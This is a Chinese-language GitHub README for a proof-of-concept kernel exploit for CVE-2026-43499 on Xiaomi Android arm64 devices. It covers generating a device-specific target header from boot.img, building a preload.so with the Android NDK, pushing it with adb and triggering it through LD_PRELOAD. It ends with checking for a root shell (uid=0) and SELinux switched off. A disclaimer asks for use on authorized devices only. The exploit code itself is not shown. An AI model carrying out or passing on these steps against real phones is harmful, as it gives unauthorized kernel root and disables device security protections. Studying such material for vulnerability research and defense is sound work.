Linuxoid-cn/CVE-2026-43499-Poc-Analysis
GitHub: Linuxoid-cn/CVE-2026-43499-Poc-Analysis
针对小米 Android arm64 设备的 CVE-2026-43499 内核漏洞提供漏洞分析与 PoC 利用代码,支持多机型自动适配与交叉编译。
Stars: 4 | Forks: 3
# CVE-2026-43499 适用于 Android arm64 内核
## [English](README_EN.md)
## 支持范围
当前适配方向:
```
Android arm64 / arm64-v8a
Android boot image header v3/v4
4K page kernel
可解析 IKCONFIG
可解析 kallsyms
可解析 vmlinux BTF
可通过 llvm-objdump 反汇编关键路径
```
已加入的兼容方向包括:
```
Linux 6.6+ 常见 kallsyms 数据符号缺失场景
CONFIG_KALLSYMS_ALL=n 场景下的部分结构扫描
不同 kallsyms 起始符号布局
Windows/MSYS2 构建环境
Android NDK windows-x86_64 工具链
```
不建议写死为“无条件支持所有内核”。更准确的描述是:
```
面向多 Android arm64 内核的通用适配,实际支持以 generate_target.py 校验通过为准。
```
## Profile
Profile 只包含两个需要从同固件 Root 设备确认的物理地址:
```
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
```
连接已 Root 的同固件设备后可检测:
```
python3 detect_offset.py
```
Windows 环境也可以使用:
```
python detect_offset.py
```
生成后保存为对应机型或固件的 profile 文件,例如:
```
profile_device.json
profile_popsicle.json
profile_xxx.json
```
## 生成 target
依赖:
```
Python 3
llvm-objdump
boot.img
profile_xxx.json
```
基本命令:
```
python3 generate_target.py \
--boot boot.img \
--profile profile_机型.json \
-o source/src/target.h
```
Windows / MSYS2 环境中也可以使用:
```
python generate_target.py \
--boot boot.img \
--profile profile_机型.json \
-o source/src/target.h
```
如果 `llvm-objdump` 没有加入 PATH,可以手动指定:
```
python generate_target.py \
--boot boot.img \
--profile profile_机型.json \
-o source/src/target.h \
--llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
```
生成成功时可见类似输出:
```
生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...
```
## 编译
Linux / macOS / MSYS2 环境:
```
make -C source clean preload
```
NDK 无法自动发现时:
```
NDK_ROOT=/path/to/android-ndk make -C source clean preload
```
Windows + MSYS2 + Android NDK 示例:
```
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
```
最终产物:
```
source/build/bin/preload.so
```
Windows 路径示例:
```
C:\Users\Kernix\Desktop\CVE-2026-43499-popsicle-main\source\build\bin\preload.so
```
## 运行
将编译得到的 `preload.so` 推送到设备:
```
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
```
通过 `LD_PRELOAD` 触发:
```
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
```
验证:
```
adb shell '/data/local/tmp/su -c id'
```
成功时可见类似输出:
```
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
```
或:
```
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
```
## 适配流程
针对新设备或新内核,推荐按以下顺序适配:
1. 提取同固件 `boot.img`
2. 在同固件 Root 设备上确认 profile 物理地址
3. 生成 `source/src/target.h`
4. 编译 `source/build/bin/preload.so`
5. 在测试设备上验证运行结果
6. 若失败,根据 `generate_target.py` 的校验错误调整适配逻辑
## 常见问题
### 1. 找不到 llvm-objdump
错误示例:
```
找不到 llvm-objdump
```
解决:
```
python generate_target.py \
--boot boot.img \
--profile profile_机型.json \
-o source/src/target.h \
--llvm-objdump "/path/to/llvm-objdump"
```
### 2. 找不到 make
错误示例:
```
make: command not found
```
Windows 推荐使用 MSYS2 UCRT64:
```
pacman -S make coreutils
```
### 3. 找不到 clang
错误示例:
```
make: clang: No such file or directory
```
通常是 Android NDK 没有正确配置。
Windows + MSYS2 示例:
```
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64
```
### 4. MSYS2 路径问题
Windows 路径:
```
C:\Bin\android-ndk-r29
```
MSYS2 路径:
```
/c/Bin/android-ndk-r29
```
构建时建议使用 MSYS2 风格路径。
### 5. target.h 生成失败
如果 `generate_target.py` 失败,通常说明当前内核与已支持的自动解析逻辑不完全匹配。
需要重点检查:
```
boot.img 是否完整
boot header 是否为 v3/v4
IKCONFIG 是否存在
kallsyms 是否可恢复
BTF 是否存在且可解析
关键符号是否存在
llvm-objdump 是否能正确反汇编 arm64 代码
```
## Windows / MSYS2 快速流程
```
cd /c/Users/Kernix/Desktop/CVE-2026-43499-popsicle-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_机型.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64
ls -lh source/build/bin/preload.so
```
## 注意事项
- 本项目需要针对目标 `boot.img` 生成专用 `target.h`。
- 更换设备、固件、内核或 profile 后,需要重新生成 `target.h` 并重新编译。
- 通用适配不等于所有内核无条件可用,实际支持以生成器校验和设备测试结果为准。
- 请仅在授权设备和授权环境中进行安全研究与验证。
标签:Android, DSL, PoC, Web报告查看器, 云资产清单, 内核漏洞, 暴力破解, 逆向工具, 逆向工程